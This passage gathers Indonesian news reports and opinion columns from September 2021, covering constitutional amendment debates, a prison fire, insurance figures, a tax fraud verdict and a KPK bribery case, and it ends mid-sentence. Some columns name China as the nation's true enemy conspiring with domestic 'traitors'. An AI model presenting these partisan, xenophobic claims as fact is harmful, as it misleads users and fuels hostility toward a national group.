Semarang, FNN - Mantan Ketua Mahkamah Konstitusi Hamdan Zoelva mengemukakan, konflik konstitusional mengenai Pokok-Pokok Haluan Negara (PPHN) memunculkan sejumlah pertanyaan. Antara lain, apakah penambahan wewenang Majelis Permusyawaratan Rakyat menetapkan PPHN/GBHN ada jaminan menyelesaikan masalah kesinambungan pembangunan? "Apakah tidak ada pendekatan lain untuk menjamin kesinambungan itu selain amendemen konstitusi?," kata dia dalam webinar bertajuk Membangun Budaya Konstitusi untuk Penguatan Demokrasi Indonesia yang diselenggarakan Salam Radio, Selasa, 14 September 2021. Menanggapi sebagian besar pendapat para politikus yang melihat amendemen UUD NRI Tahun 1945 sebagai sebuah keharusan, Hamdan Zoelva mengatakan, pendapat mereka merupakan cara pandang legalistik konstitusional pada problem legal substance (substansi hukum). Ketika menghadapi konflik dan problem konstitusional, menurut dia, akan selalu merujuk pada teks konstitusi, undang-undang, dan putusan pengadilan sebagai satu-satunya pendekatan dalam melihat apakah yang merupakan konstitusi dan apa yang tidak merupakan konstitusi. "Saya berangkat dari satu asumsi dasar bahwa lahirnya teks hukum, termasuk konstitusi, tidak dalam ruang hampa. Akan tetapi, dipengaruhi lingkungan sosial, budaya, dan sejarah bangsa itu," kata dia, sebagaimana dikutip dari Antara. Ketua Umum Pimpinan Pusat/Lajnah Tanfiziah Syarikat Islam itu menekankan, "Teks konstitusi adalah refleksi budaya sekaligus cita ideal yang dikehendaki." Ia menegaskan, dalam pelaksanaannya tidak berada di menara gading, tetapi berhadapan kondisi politik dan sosial budaya yang dinamis. "Tantangannya tidak sama antara satu masa dan masa yang lain. Implementasi norma konstitusi harus mengalami adaptasi," kata Zoelva. Begitu juga terkait dengan liberasasi politik dan ekonomi. Banyak pandangan akademikus dan politikus yang mempersoalkan liberasi politik dan ekonomi sekarang ini adalah akibat perubahan UUD NRI Tahun 1945. Oleh karena itu, untuk menghentikannya mereka berpendapat harus melakukan perubahan konstitusi dengan menghilangkan ayat (4) pasal 33 UUD NRI Tahun 1945. Bahkan, mereka beranggapan, penambahan ayat (4) itulah sebagai biang masalahnya. Dalam ayat (4) menyebutkan perekonomian nasional diselenggarakan berdasar atas demokrasi ekonomi dengan prinsip kebersamaan, efisiensi berkeadilan, berkelanjutan, berwawasan lingkungan, kemandirian, serta dengan menjaga keseimbangan kemajuan dan kesatuan ekonomi nasional. Menanggapi hal itu, dia menilai paradigma berpikir dalam mengatasi problem atau konflik konstitusional hanya berlandaskan pada pendekatan legalistik formal, yang dalam kerangka sistem hukum L Friedman, yaitu hanya melihat aspek legal substance. Ia menjelaskan, segala masalah konstitusional ditimpakan pada teks dan norma konstitusi yang harus diubah direformulasi. Bahkan, peran pengadilan (Mahkamah Konstitusi) yang memberi tafsir atas problem konstitusional tidak menjadi pilihan. "Cara berpikir seperti inilah yang saya sebut sebagai cara berpikir yang tidak imbang," kata Zoelva. Menurut dia, mereka hanya memandang hukum dari norma yang ada dalam teks. Tidak melihat pada aspek lain dari hukum, yaitu dalam konteks berkerjanya dari kerangka budaya dalam mengatasi problem atau konflik konstitusional. (MD).

Korban Tewas Kebakaran Lapas Tangerang Bertambah Jadi 48 Orang

Tangerang, FNN - Jumlah korban tewas pada insiden kebakaran di Lembaga Permasyarakatan (Lapas) Klas I Tangerang, Banten, bertambah dua orang. Dengan demikian, total jumlah keseluruhan menjadi 48 orang meninggal dunia. "Saya informasikan update tentang pasien-pasien korban kebakaran dari Lapas Kelas I Tangerang. Tambahan yang meninggal kemarin pada tanggal 13 September itu ada dua orang, dan dari 10 yang dirawat sekarang tersisa 3 pasien lagi," kata Kepala Instalasi Hukum Publikasi dan Informasi (HPI) RSUD Kabupaten Tangerang, Hilwani di Tangerang, Selasa, 14 September 2021. Ia mengatakan, dari tambahan dua narapidana korban kebakaran yang meninggal tersebut yaitu berinisial M (44) dan I (27) dengan kondisi luka bakar 20 persen sampai 98 persen. "Meninggalnya M itu pada pukul 18.00 WIB dan I meninggal sekitar pukul 19.00 WIB. Keduanya sudah menjalani perawatan," katanya, sebagaimana dikutip dari Antara. Ia menuturkan, untuk saat ini kedua jenazah narapidana Lapas Tangerang itu masih ada di tempat pemulasaran jenazah milik Rumah Sakit Umum Daerah (RSUD) Kabupaten Tangerang. Kemudian, lanjut dia, hingga kini pasien yang masih menjalani perawatan di RSUD Kabupaten Tangerang tersisa tinggal tiga orang, dari ketiga pasien itu yakni berinisial N (34), Y (33) dan S (35). "Ketiga pasien ini kondisinya relatif stabil," ujarnya. Ia menjelaskan, kondisi pasien S yang membaik. Bahkan, sudah bisa berkomunikasi serta makan secara mandiri. Rencananya pada hari ini (Selasa, 14 September) akan dilakukan operasi reduction internal fixation (ORIF) reposisi tulang. "Untuk pasien S hari ini akan dilakukan operasi reposisi tulang yang patah di kaki sebelah kiri," ujarnya. Sebelumnya diketahui, RSUD Kabupaten Tangerang telah melakukan perawatan terhadap 10 orang yang mengalami luka berat dan ringan dari korban kebakaran Lapas Kelas I Tangerang. Mereka yang dirawat mengalami luka bakar dengan kondisi 20 persen hingga 90 persen. (MD).

Semester 1 2021 Pendapatan Asuransi Jiwa Naik 64,1 Persen

Jakarta, FNN - Asosiasi Asuransi Jiwa Indonesia (AAJI) mencatat total pendapatan industri asuransi jiwa mencapai Rp 119,74 triliun pada semester I-2021. Nilai tersebut naik atau tumbuh 64,1 persen dibanding semester I-2020 yakni Rp 73 triliun. "Industri asuransi jiwa semester I-2021 berhasil melewati masa sulit pandemi Covid-19. Bahkan, tumbuh lima persen di atas pencapaian semester I-2019 ketika Covid-19 belum ada, yakni dari senilai Rp 113,94 triliun," kata Ketua Dewan Pengurus AAJI, Budi Tampubolon, dalam konferensi pers daring di Jakarta, Selasa, 14 September 2021. Menurutnya, pertumbuhan industri asuransi jiwa tersebut sejalan dengan pulihnya ekonomi nasional yang pada triwulan II-2021 tumbuh 7,07 persen. Sementara it, total pendapatan premi pada semester I-2021 juga menunjukkan pertumbuhan yang baik, yaitu 17,5 persen dari Rp 89,09 triliun di semester I-2020 menjadi Rp 104,72 triliun. "Kami percaya sedikit banyak pencapaian ini tidak lepas dari pandemi yang menumbuhkan kesadaran masyarakat mengenai kebutuhan perlindungan asuransi jiwa," ucap Budi, sebagaimana dikutip dari Antara. Budi menuturkan kinerja positif juga terlihat dari pertumbuhan premi bisnis baru yang mencapai 27,4 persen dari Rp 53,41 triliun di semester I-2020 menjadi Rp 68,02 triliun pada semester I-2021. Sedangkan premi lanjutan tumbuh 2,8 persen dari Rp 35,68 triliun pada semester I-2020 menjadi Rp 36,7 triliun di semester I-2021. Berdasarkan jenis produknya, ia menjelaskan unit link masih menjadi pilihan utama masyarakat dengan kontribusi premi 62 persen selama semester I-2021. Sedangkan asuransi jiwa tradisional 38 persen. Sedangkan menurut kanal distribusi, bancassurance masih merupakan kontributor terbesar dalam pendapatan premi asuransi jiwa yang pada semester I-2021 mencapai 46 persen. Kemudian, diikuti agen sebesar 29 persen, dan alternatif 25 persen. Seiring kinerja positif asuransi jiwa tersebut, Budi menyebutkan total aset asuransi jiwa pun tumbuh 12,9 persen jika dibandingkan semester I-2020 menjadi Rp 575,46 triliun. Sedangkan cadangan teknis juga tumbuh 12,4 persen menjadi Rp 443,95 triliun. Pada awal pandemi, aset industri asuransi jiwa sempat terkoreksi 12 persen, serta cadangan teknis terkontraksi 11,7 persen. "Ini bukan hanya karena pertumbuhan industri, tetapi juga menunjukkan kehati-hatian dan sikap prudent untuk mencadangkan dana lebih. Tujuannya, agar mampu menghadapi tantangan di masa sulit, juga semakin mampu memenuhi komitmen dan janji ke pemegang polis," kata Budi. (MD).

Memiliki Kehilangan dan Ketiadaan

Oleh Yusuf Blegur Sebagian besar orang lebih sering menempatkan standar kemanusiaannya pada apa dan berapa banyak yang dimiliki. Umumnya kepemilikan terhadap kekayaan, jabatan dan pengaruh kekuasaan menjadi tolok ukur yang paling utama. Menggenggam harta berlimpah dan kebijakan menentukan kepentingan publik, memang menempatkan seseorang pada drajat kehidupan yang paling tinggi dalam strata sosial kehidupan masyarakat dan negara. Menjadi terkenal, dihormati dan dihargai serta tidak jarang dipuja dan dielu-elukan khalayak. MESKIPUN masih banyak peran dan status sosial dalam kehidupan manusia yang tidak kalah bermakna dan jauh lebih penting. Namun harta, kekuasaan dan popularitas mengalahkan hal-hal yang justru lebih substantif dan esensial. Sebut saja para tenaga kerja pendidikan dan kesehatan yang tersebar di pelosok-pelosok dan perbatasan negara. Mereka tulus bekerja walau hanya dengan honor seadanya. Dalam medan kerja yang berat, keterbatasan sarana dan prasarana, upah kerja yang jauh dari kelayakan bahkan hanya untuk sekedar memenuhi kebutuhan hidup. Mereka tetap berjuang dan berkorban dalam keterbatasan demi kemanusiaan. Ada juga para voluntir yang mendedikasikan hidupnya untuk menggeluti kerja-kerja sosial. Meningkatkan kualitas hidup, membangun teknologi kreatif dan inovatif serta membuka akses fasilitas dan program pemerintah dalam perkampungan-perkampungan kumuh, daerah terisolir dan masyarakat lainnya yang terpinggirkan dari pembangunan. Mereka semua merupakan pejuang kemanusiaan yang tenggelam dari sorotan media dan publisitas kehidupan politik kekuasaan. Negara acapkali mengabaikan keberadaan mereka. Pengabdian para pahlawan pembangunan yang sesungguhnya itu, sudah sepantasnya mendapat penghargaan dan penghormatan yang semestinya. Meskipun bagi kekuasaan, membahas nasib mereka bukanlah hal yang menarik dan dianggap tidak penting. Materialisme Sebagai Tuntunan Hidup Kehidupan masyarakat perkotaan termasuk Jakarta sebagai ibukota negara dan jantungnya penyelenggaran negara. Tidak hanya menegaskan masih adanya dikotomi pembangunan jika melihat realitas pedesaan. Bahkan dalam pusat kegiatan ekonomi bisnis dan politik itu, di sana-sini masih banyak menyisakan masyarakat marginal. Ketertinggalan dalam banyak hal seperti pengelolaan sumber daya manusia menjadi hal paling kentara. Negara pada akhirnya menjadi representasi, betapa modernitas hanya dimiliki segelintir orang. Penumpukan kekayaan dan aset ekonomi didominasi orang perorang dan kelompok tertentu. Begitu juga dengan akses politik dan pelayanan hukum hanya bisa dikuasai kalangan terbatas. Pemilik modal dan pembuat regulasi telah membajak negara dari keharusan melayani rakyat. Dalam balutan birokrasi, politisi dan korporasi. Mereka telah bermutasi menjadi wajah baru penjajah lokal. Menjadi sub-koordinat neo kolonialisne dan imperialisme di tengah globalisasi. Menjelma menjadi persekongkolan jahat dan hawa nafsu sistem yang korup dan represif. Lihat saja seketika banyak rakyat kecil menjadi korban dan hidup menderita. Petani tertindas tak mampu menjual produknya dengan harga layak karena kran impor yang mengalir deras. Nelayan juga terpuruk karena dominannya penangkapan ikan oleh kapal modern asing yang terkesan dibiarkan dan dilindungi. Demikian juga para buruh yang terus dieksploitasi namun tetap jauh dari kesejahteraan. Semuanya merupakan dampak dari perilaku kekuasan dan konstitusi yang tidak berpihak pada kepentingan rakyat. Bandingkan dengan kehidupan para jamaah oligarki dan aliran borjuasi korporasi sesat. Mereka berlimpah dengan kekayaan yang tidak semuanya diperoleh dengan cara yang bersih dan terhormat. Pengusaha didukung birokrasi dan politisi, terkadang dengan arogannya merampok kekayaan negara. Bersekongkol memanipulasi dan menggelapkan harta yang bukan miliknya. Merampas tanah dan bangunan milik rakyat. Menggunakan uang dan kekuasaannya menghukum dan menindas rakyat. Bukah hanya dengan menggunakan preman, jika diperlukan terkadang menggunakan aparatur negara. Rakyat dan Kedaulatan Semu Panca Sila, UUD 1945 dan hukum moral lainnya, tak ubahnya seperti barang antik bersejarah yang tersimpan di museum Indonesia. Kekuasaan dan pada akhirnya diikuti rakyat. Lebih memiliih dan menyukai praktek-praktek kapitalistik dan liberalistik. Meskipun dalam pusaran itu banyak konflik dan ketidakpuasan, memakan korban jiwa, merusak tatanan ideologi bangsa dan bahkan agama. Bangsa Indonesia telah kehilangan jiwanya. Tidak adalagi roh patriotisme dan nasionalisme. Semua kekacauan dan kehancuran mental dan karakter yang ujung-ujungnya menjadi penderitaan yang paling dirasakan rakyat. Indonesia merana kehilangan spritualitasnya sebagai bangsa religi. Bangsa Indonesia sejatinya telah lama kehilangan Panca SIla dan UUD 1945. Kekayaan tak ternilai dan menjadi warisan abadi bagi rakyat dan negara. Sayangnya anugerah terbesar dari Tuhan Yang Maha Esa itu, yang dimiliki bangsa ini, tak mampu dihargai dan dihormati oleh pemimpin dan rakyatnya sendiri. Sebagai sebuah bangsa dan negara, Indonesia telah membuang value dan kebijaksanaan, lebih mengejar materi dan kebendaan lainnya. Nilai-nilai adiluhung itu tercampakkan oleh keinginan hidup hedon dan gemerlap kenikmatan dunia. Gotong-royong dan persaudaraan hanya sekedar cerita lama. Indonesia beserta rakyatnya seperti hidup sebagai bangsa kaya tapi dalam kemiskinan. Memiliki sejarah patriotik yang besar namun menjadi pecundang dan terjajah. Budaya yang dikenal dengan fatsun politik yang santun tapi kekinian tanpa etika, barbar dan biadab. Indonesia Seperti bernegara tanpa negara atau mungkin juga negara dalam negara. Negara tanpa pemerintahan dan nyaris menjadi negara gagal. Semua hanya bisa pasrah tak berdaya sambil mengelus dada. Menggerutu dan menyesalinya dalam hati. Rakyat dengan segala semboyan dan jargon yang besar Keindonesiaannya. Kini menyadari bahwasanya telah memiliki kehilangan dan ketiadaan. Semoga datang perubahan yang lebih baik. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

Konsekuensi Amandemen dan PPHN, MPR Jadi Lembaga Tertinggi Negara

Jakarta, FNN - Rencana amandemen UUD untuk memuat Pokok Pokok Haluan Negara yang bergulir dari Majelis Permusyawaratan Rakyat (MPR) dinilai tidak kompatibel dengan sistem ketatanegaraan saat ini. Dimana Presiden dipilih langsung oleh rakyat. Sementara PPHN bakal bersifat direktif. Presiden harus menjalankan PPHN yang ditetapkan oleh MPR. Sehingga ada konsekuensi bila PPHN yang merupakan lansiran Tap MPR tidak dilaksanakan. Hal itu mencuat dari focus group discussion (FGD) yang digelar oleh Badan Pengkajian MPR di Tangerang Selatan, Senin (13/9). Menurut Pimpinan Badan Pengkajian MPR bidang ekonomi, Tamsil Linrung, pertanggungjawaban Presiden yang dipilih langsung oleh rakyat menjadi tidak jelas. Dimana janji-janji politik Presiden tidak ada yang mengevaluasi. “Jika janji politik tidak diakomodir dalam PPHN, bagaimana presiden melaksanakan program dan janjinya? Presiden akan terjebak pada dua situasi yang secara esensi sama-sama melanggar konstitusi," tukas Tamsil. Bila upaya menghidupkan PPHN yang dinilai sebagai reinkarnasi GBHN terealisasi, maka konsekuensi logisnya harus ada lembaga yang mengevaluasi implementasi PPHN tersebut. Merujuk pada masa lalu, pertanggungjawaban Presiden adalah kepada MPR. Hal ini tentu merestorasi kedudukan MPR sebagai lembaga tertinggi negara. Pengamat Ekonomi Politik dan Managing Director Political Economy and Policy Studies (PEPS), Anthony Budiawan yang hadir sebagai narasumber menyebut, tugas MPR hanya sebagai “tukang”. Yaitu “tukang lantik” dan “tukang memberhentikan” ketika Presiden melanggar konstitusi setelah diajukan oleh DPR dan diproses oleh Mahkamah Konstitusi. Idealnya, menurut Anthony, memang harus ada pengawasan terhadap kinerja pemerintah yang punya konsekuensi langsung. Tidak seperti saat ini, ada indikasi terjadi banyak pelanggaran terhadap peraturan maupun janji politik, tapi dibiarkan terjadi begitu saja. Tidak ada yang mengevaluasi sehingga pemerintah bisa seenaknya mengumbar janji. Akibatnya, berbagai aspek kehidupan bangsa dipenuhi jargon. “Seperti UU Tax Amnesty. Janjinya 14% tapi terealisasi cuma 9,8%. Ini kan melanggar konstitusi,” imbuh Anthony. Menurut alumnus Erasmus University Rotterdam ini, penyusunan ekonomi konstitusi dalam kerangka PPHN mesti selaras dengan semua aturan yang bersumber dari UUD. Sehingga kebijakan ekonomi pemerintah yang digariskan dalam PPHN tegak lurus dengan konstitusi yang menjadi jelmaan kedaulatan rakyat. “Sekarang, apakah daerah sudah berdaulat terhadap sumber daya yang mereka miliki? Kan tidak,” kritiknya. Mantan Gubernur Bank Indonesia, Burhanudin Abdullah yang juga hadir sebagai narasumber mengungkapkan, bahwa dimensi ekonomi bangsa saat ini cenderung menjauh dari cita-cita republik. Hal itu terindikasi pada tingkat ketergantungan yang tinggi, kesenjangan yang lebar, hingga implikasi kebijakan ekonomi pada sektor lingkungan. “Pertanyaannya, apakah kita mau menyusun cerita baru yang menjadikan perekonomian lebih mandiri, adil, demokratis, partisipatif, inklusif dan menyejahterakan?” Senada, pengamat ekonomi Awalil Rizky menilai karutmarut ekonomi Indonesia menyisakan kompleksitas problem. Bahkan makin jauh dari spirit ekonomi kekeluargaan yang jadi falsafah ekonomi Pancasila. Ia mencontohkan terjadinya deindustrialisasi prematur yang tidak selaras dengan situasi ekonomi yang mestinya dibangun. Akibatnya, terjadi ketimpangan pendapatan dan pengangguran meluas. “Plot deindustrialisasi seharusnya setelah porsi industri mencapai 30%. Sektor jasa yang tradeable menopang industri,” ungkap Chief Economist Institut Harkat Negeri ini. (JD)

Patah Tumbuh Hilang Berganti

Adagium lawas yang sudah populer dan tak aneh lagi, Rusa boleh kehilangan bulunya tapi tak akan kehilangan otaknya, demikian kata pepatah kuno. Oleh Sugengwaras MAU tidak mau, suka tidak suka, umat Islam merupakan aset besar dan potensial bagi bangsa Indonesia. Oleh karenanya, tanpa memecah belah, mengadu domba dan membentur benturkan intern umat Islam itu sendiri, pihak lain tak akan mampu menguasai dan menjajah Indonesia, yang ditakdirkan kaya sumber data alam, jamrud katulistiwa dan salah satu negara yang dilalui api bumi yang syarat dengan energi panas, uap dan tenaga air. Bahkan dalam ilmu kekinian, para generasi muda penerus bangsa telah bermimpi untuk meniadakan kerusakan eko sistim bumi baik yang diakibatkan oleh penambangan batubara yang rentan dengan kerusakan lingkungan ratusan ribu hektar, untuk dialih sempitkan menjadi sumber energi uap yang jauh lebih efektif terhadap kerusakan alam. Masalahnya tinggal tergantung kepada pimpinan negara, apakah mampu bermimpi dan berpikir untuk ini, atau berkutat sekitar usreg usregan bangsa yang dikendalikan oleh pihak ketiga. Indonesia merdeka dari hasil perjuangan panjang para leluhur dan pendiri bangsa yang penuh pengorbanan, yang ditopang dengan dedikasi dan keinginan luhur untuk merdeka, mereka gabungan rakyat dan pejuang bersenjata yang dikomandoi oleh para pemimpin bangsa bangsa di Indonesia serta para tokoh agama, ulama dan para santri. Panglima Besar Jendral Sudirman, orang pertama sebagai Bapak TNI di Indonesia merupakan salah satu fakta seorang tokoh Nasional yang berasal dari santri dan lahir dari salah satu pondok pesantren di Jawa Tengah. Makna perjalanan sejarah inilah yang harus dipahami oleh kita semua terutama para pimpinan stake holder negara, agar tidak mudah dan gegabah membubarkan ormas, orpol dan organisasi organisasi kemasyarakatan lain yang berpedoman kepada dasar dan pandangan hidup bangsa Indonesia, Pancasila. Kecuali PKI yang sejak kedatangan, kelahiran dan perkembanganya, tidak pernah bergabung dengan kekuatan kekuatan lainya, selain hanya ingin mengembangkan diri sendiri untuk mengkomuniskan Indonesia. Sekelumit contoh tentang kegiatan FPI ( Front Pembela Islam ) pada sekitar Oktober 2019, dikecamatan Sukajaya, kabupaten Bogor, Jawa Barat. Dari penglihatan langsung saya sendiri, dimana FPI terjun langsung ke TKP TKP tanah longsor dan banjir, mengevakuasi para korban, baik yang sudah menjadi mayat maupun masih hidup, dengan sarana prasarana seadanya, mendirikan pos pos tenda beserta bantuan makanan, obat obatan dan pendirian / pengadaan pos pos di tempat tempat kritis yang masih cukup berbahaya, dengan semangat keibadahan telah mereka buktikan dan tunjukkan kepada kita, terutama rakyat Sukajaya, Kabupaten Bogor, Jawa Barat. Menjadi lucu dan dagelan ludrukan ketika saya melihat ada satu bendera besar dari salah satu partai besar di Indonesia, yang tertancap berkibar di pusat pengendalian operasi ( posko Kodim, posko Polisi, posko SAR, posko Pemda, posko Kesehatan dll ), karena hanya bendera doang yang ada, sedangkan tak tampak batang hidungnya orang yang menancapkan hingga operasi penanggulangan banjir dan tanah longsor selesai. Oleh karenanya, dengan telah dibubarkanya FPI ( Front Pembela Islam ) secara sepihak, dan kini bermunculan deklarasi FPI (Front Persaudaraan Islam ), yang bisa jadi akan berjamur di seantero bumi di Indonesia kita semua tidak perlu kebakaran jenggot, karena seperti halnya ormas / orpol yang lain, mereka adalah aset bangsa, yang sewaktu waktu bermanfaat untuk kepentingan bangsa dan negara, yang dilindungi dan dijamin oleh hukum / Undang Undang. Marilah semua ormas / orpol yang ada, kita kompak dan bersatu padu, menyikapi dan menghadapi musuh nyata yang sesungguhnya dan yang sebenar benarnya, yaitu pihak asing CINA yang telah bergabung, berkolaborasi, berkonspirasi dengan bangsa kita sendiri, para pecundang, penjilat dan pengkhianat negara. Sekali lagi selamat untuk FPI (Front Persaudaraan Islam) atas dekkarasi deklarasinya, jadilah Ormas yang layak diteladani oleh ormas yang lain, untuk pererat dan perkuat persatuan dan kesatuan bangsa, ketentraman, kenyamanan dan kejayaan NKRI....Aamiin...🤲 *) Purnawirawan TNI AD

Kedaulatan Negara Tertinggi di Tangan Rakyat

Bukan pada tempatnya kita mempercayakan negara hanya pada seorang Presiden, meskipun sudah melalui prosedur dan mekanisme yang sah. Oleh Sugengwaras *) MEMANG Presiden adalah kepala pemerintahan, juga sebagai kepala Negara bahkan Panglima tertinggi Angkatan Bersenjata, namun dalam perjalananya ada hukum yang *mengikat* untuk mematuhi aturan aturan yang telah disepakati bersama rakyat dan ada hukum yang *memaksa* untuk memberikan sanksi jika ada aturan yang dilanggar. Sifat hukum yang berlaku sama terhadap siapapun WNI yang melanggar tidak bisa dianulir dengan diskresi hukum yang dibuat tiba tiba bak membuat sambal dadakan di warung warung. Maka jika kita simak perjalanan selama era kabinet Jokowi, tidak terhitung pelanggaran pelanggaran yang dilakukan baik dalam proses kelahiran UU maupun Perpu yang membuat kontra respons. Hanya karena ada cara cara dan langkah langkah yang spektakuler, yang membuat rakyat takut dan tidak berdaya, menjadikan rezim ini merasa paling bisa, paling benar, paling berani dan paling berkuasa. Sungguh lebih memprihatinkan ketika seluruh jajaran stake holder menjadi lupa diri dan kehilangan jati diri. Saya respon terhadap rakyat apapun agama, keturunan dan golongannya yang merasakan keprihatinan fenomena ini. Saya mengerti dan melihat upaya upaya yang telah dilakukan bak cara berbicara dengan orang buta atau orang tuli. Saya juga menyaksikan langkah langkah konstitusi /hukum yang ditempuh, nampaknya belum ada hasil yang signifikan, bahkan nyaris membahayakan diri sendiri, sebagai akibat ada indikasi konspirasi. Saya juga membaca gelagat para buzzer dan influencer yang memanfaatkan kesempatan dalam kesempitan untuk kepentingan diri sendiri. Maka saya menghimbau, jangan pernah bosan dan menyerah dalam berdoa, berucap maupun bertindak dalam hal kebaikan termasuk penegakan hukum. Jangan merasa paling berjasa karena anda sudah berbuat, jangan merasa kecil hati karena anda hanya bisa berdoa dan jangan merasa tidak berarti karena anda hanya mampu berucap lisan maupun tulisan. Percayalah doa, ucapan dan tindakan nyata, jika disinergikan akan menjadi kekuatan dahsyat! Inilah sesungguhnya rasa persatuan dan kesatuan bangsa yang hakiki, saling menghargai, saling menghormati dan tidak saling mencela, namun bersikap tegas dalam hal yang prinsip dan hal hal yang sulit diterjemahkan. Sekali lagi, janganlah berpikir paling berani sendiri, karena sesungguhnya masih sangat banyak orang orang yang lebih berani. Maka, jika para pemberani ini bersatu dan bersinergi dalam SATU KOMANDO niscaya akan mampu berbuat untuk perubahan yang lebih baik. *) Purnawirawan TNI AD

PN Tangerang Vonis Mafia Pengurusan Pajak 3 Tahun Penjara dan Denda Rp3 M

Tangerang, FNN - Pengadilan Negeri Tangerang, Banten, menjatuhkan vonis penjara selama tiga tahun dan denda Rp34 miliar lebih kepada Sugito atas tindak pidana di bidang perpajakan berupa membantu dan atau turut serta menerbitkan dan atau menggunakan faktur pajak yang tidak berdasarkan transaksi yang sebenarnya (TBTS). Kabid Penyuluhan, Pelayanan dan Humas Kanwil DJP Banten Sahat Dame Situmorang dalam keterangan tertulisnya, Senin, mengungkapkan dalam petikan putusan Pengadilan Negeri Tangerang nomor 659/Pid.Sus/2021/PN.Tng dinyatakan bahwa terdakwa Sugito terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana. "Selain itu turut serta melakukan, dengan sengaja menerbitkan faktur pajak, yang tidak berdasarkan transaksi yang sebenarnya, yang merupakan beberapa perbuatan yang harus dipandang sebagai perbuatan yang berdiri sendiri sehingga merupakan beberapa kejahatan,”. kata Sahat mengutip putusan pengadilan. Dalam putusan tersebut, dinyatakan pula bahwa jika terdakwa tidak membayar paling lama dalam waktu satu bulan sesudah putusan Pengadilan memperoleh kekuatan hukum tetap, maka harta bendanya dapat disita oleh Jaksa dan kemudian dilelang untuk membayar denda, dalam hal harta bendanya tidak mencukupi maka terdakwa dijatuhkan hukuman kurungan pengganti denda selama satu bulan. Sahat mengatakan modus yang dilakukan oleh tersangka adalah melakukan tindak pidana di bidang perpajakan (dengan menjadi perantara ke pengguna faktur, yaitu dengan turut serta melakukan atau membantu melakukan penerbitan faktur pajak TBTS yang dilakukan oleh Sepi Muharam dan Lukmanul Hakim dengan cara mendirikan, membeli atau menggunakan perusahaan penerbit Faktur Pajak TBTS di beberapa perusahaan. "Terhadap perbuatan tersangka, sesuai dengan Pasal 39A huruf a Jo. Pasal 43 ayat satu Undang Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan sebagaimana telah beberapa kali diubah terakhir dengan Undang Undang Nomor 16 Tahun 2009 UU KUP, diancam dengan hukuman pidana penjara paling singkat dua tahun dan paling lama enam tahun serta denda paling sedikit dua kali dan paling banyak enam kali jumlah pajak dalam faktur pajak," katanya. Sugito telah disangka membantu dan atau turut serta menerbitkan dan atau menggunakan faktur pajak yang Tidak Berdasarkan Transaksi yang Sebenarnya (TBTS) melalui PT Mutiara Permai Sejahtera, PT Teknik Catur Sukses, PT Yaya Guna Sejahtera, PT Citra Indo Pradana, PT Konala Sukses Abadi, dan PT Duta Gading Makmur. Atas perbuatan tersangka dalam kurun waktu Januari 2015 hingga Desember 2017 telah menimbulkan kerugian pada pendapatan negara sebesar Rp17.184.730.726. Keberhasilan Kanwil DJP Banten dalam menangani tindak pidana di bidang perpajakan menunjukkan keseriusan dalam melakukan penegakan hukum dalam bidang perpajakan di wilayah provinsi Banten dan merupakan wujud koordinasi yang baik antar aparat penegak hukum yang telah dilakukan oleh Kanwil DJP Banten, Polda Metro Jaya dan Kejaksaan Tinggi Banten. "Keberhasilan ini sekaligus yang akan memberikan peringatan bagi para pelaku lainnya dan juga untuk mengamankan penerimaan negara demi tercapainya pemenuhan pembiayaan negara dalam APBN," kata dia. (sws, ant)

Walkot Cimahi Suap Rp507,39 Juta ke Penyidik KPK untuk Amankan Perkara

Jakarta, FNN - Wali Kota Cimahi nonaktif Ajay Muhammad Priatna disebut memberikan suap senilai Rp507,39 juta kepada penyidik KPK Stepanus Robin Pattuju agar tidak jadi tersangka dalam penyidikan dugaan korupsi pengadaan bantuan sosial (bansos) di Kabupaten Bandung, Kota Bandung serta Kota Cimahi. "Bahwa untuk membantu Ajay Muhammad Priatna agar Kota Cimahi tidak masuk dalam penyidikan perkara bansos, terdakwa Stepanus Robin Pattuju dan Maskur Husain telah menerima uang seluruhnya Rp507,39 juta," kata jaksa penuntut umum (JPU) KPK Lie Putra Setiawan di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Hal tersebut terungkap dalam surat dakwaan Stepanus Robin Pattuju dan Maskur Husain. Awalnya, sekitar Oktober 2020 di Lapas Sukamiskin, Robin, Agus Susanto dan Maskur Husain bertemu dengan Saeful Bahri yang merupakan kader PDIP sekaligus terpidana kasus korupsi pemberian suap kepada anggota Komisi Pemilihan Umum (KPU) periode 2017-2022 Wahyu Setiawan. "Pada kesempatan tersebut, Maskur Husain menginformasikan terdapat kemungkinan Wali Kota Cimahi Ajay Muhammad Priatna sedang menjadi target KPK dan Saeful Bahri lalu meminta agar Ajay Muhammad Priatna dibantu," tambah jaksa. Ajay lalu ditemui dan diyakinkan oleh seorang bernama Yadi bahwa KPK sedang melakukan penyelidikan di Bandung Barat terkait kasus bansos di kabupaten Bandung, kota Bandung serta kota Cimahi. Aadi lalu menyebut salah satu penyidik KPK bernama Roni yaitu Stepanus Robin Pattuju bisa membantu Ajay terkait permasalahan tersebut. Ajay lalu menemui Robin di Hotel Geulis dan setelah berdiskusi dengan Maskur Husain, Robin bersedia membantu Ajay agar Kota Cimahi tidak masuk dalam penyidikan perkara bansos dengan imbalan sejumlah uang. Pada 14 Oktober 2020 di penginapan Tree House Suite Jakarta Selatan, Robin dan Ajay kembali bertemu dan saat itu Robin meyakinkan Ajay bahwa dirinya benar dari KPK dan bersedia membantu Ajay dengan imbalan Rp1,5 miliar. Namun Robin dan dan Ajay lalu sepakat nilai pemberian uang sejumlah Rp500 juta dan saat itu Ajay hanya mampu memberikan Rp100 juta. Keesokan harinya, masih di tempat yang sama, ajudan Ajay bernama Evodie Dimas Sugandy menyerahkan tambahan uang sejumlah Rp387,39 juta dalam bentuk mata uang rupiah, dolar Singapura, dan dolar AS kepada Robin dan Maskur Husain dengan meletakkannya di sebuah kamar yang telah ditentukan. Pada 24 Oktober 2020 di salah satu rumah makan di Dago Bandung, Robin kembali menerima uang sejumlah Rp20 juta dari Ajay sehingga total uang yang diterima Robin dan Maskur adalah Rp507,39 juta. Uang tersebut kemudian dibagi dua yaitu Robin mendapat Rp82,39 juta sedangkan Maskur Husain memperoleh Rp425 juta. Dalam perkara ini, Robin dan Maskur Husain didakwa menerima seluruhnya Rp11,025 miliar dan 36 ribu dolar AS (sekitar Rp513 juta) sehingga totalnya sebesar Rp11,5 miliar terkait pengurusan lima perkara di KPK. Robin dan Maskur didakwa menerima dari M Syahrial sejumlah Rp1,695 miliar, Azis Syamsudin dan Aliza Gunado sejumlah Rp3.099.887.000 dan 